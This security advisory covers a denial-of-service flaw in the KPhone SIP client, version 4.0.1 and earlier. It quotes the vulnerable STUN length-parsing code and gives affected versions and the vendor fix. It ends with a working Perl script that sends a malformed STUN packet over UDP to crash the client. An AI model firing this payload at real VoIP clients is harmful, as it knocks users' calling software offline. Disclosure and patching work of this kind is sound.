KPhone STUN DoS (Malformed STUN Packets)
------------------------------------------------------------------------

SUMMARY
<http://www.wirlab.net/kphone/> KPhone is "a SIP (Session Initiation Protocol)
user agent for Linux, with which you can initiate VoIP (Voice over IP)
connections over the Internet". KPhone allows its users to enable STUN server
interconnectivity. This interconnectivity allows a remote attacker to crash
the KPhone program by sending it a malformed STUN response packet. The
vulnerability doesn't allow the attacker to execute arbitrary code, but only
to cause a denial of service attack (the program will crash).
DETAILS
Vulnerable Systems:
* KPhone version 4.0.1 and prior
Immune Systems:
* KPhone version 4.0.2 or newer
The vulnerability lies in the fact the size of the received packet is not
verified against its user defined size. The vulnerable code lies at
(sipclient.cpp):
void SipClient::incomingMessage( int socketfd )
..
char inputbuf[ 8000 ];
..
StunMsgHdr* hdr = reinterpret_cast( inputbuf );
..
char* body = inputbuf + sizeof( StunMsgHdr );
unsigned int size = ntohs( hdr->msgLength ); // The size comes from msgLen
..
while( size > 0 ) {
StunAtrHdr* attr = reinterpret_cast( body );
unsigned int hdrLen = ntohs( attr->length );
..
body += hdrLen+4; // The hdrLen comes from the attrLen
size -= hdrLen+4;
}
As attrLen can be set to a bigger value than 8000 (the longest value we can
place in hdrLen is 0xFFFF = 65535), we can cause the body pointer to point to
a memory location outside the scope of our function, thus causing a SEGFAULT.
Patch:
Beyond Security has written a patch that will make sure that the data received
is indeed safe for parsing (verifying all of the msgLen and hdrLen)

Vendor status:
The vendor has issued a new version 4.0.2, which addresses this issue.
Exploit:
#!/usr/bin/perl
#
use IO::Socket::INET;
my $buf = join("", "\x01\x01", # BindingResponse
"\x00\x01", # MsgLength
"A"x16, # GUID
"\x00\x00", # Attribute
"\x08\x01", # AttrLength
"A"x7975 # Value
);
my $remote = IO::Socket::INET->new( Proto => 'udp',
PeerAddr => '192.168.1.49',
PeerPort => 5060);
print $remote $buf;
